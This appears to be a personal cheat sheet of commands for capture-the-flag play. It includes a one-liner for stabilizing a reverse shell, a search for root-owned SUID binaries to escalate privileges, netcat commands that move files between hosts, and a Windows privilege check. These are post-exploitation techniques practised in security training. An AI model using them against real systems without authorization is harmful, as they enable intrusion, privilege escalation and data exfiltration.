Handy CTF Commands
This is a collection of commands that I find useful when playing CTFs.
Linux
Stabilize a Reverse Shell
python -c 'import pty; pty.spawn("/bin/bash")'
Finding all SUID Binaries on a System
find / -user root -perm -4000 -exec ls -ldb {} \;
Transfer Files with Netcat
On the receiving end:
nc -lp 4444 > out.file
On the sending end:
nc -w 3 [destination IP] 4444 < out.file
Windows
Check the Current User Privileges
whoami /privs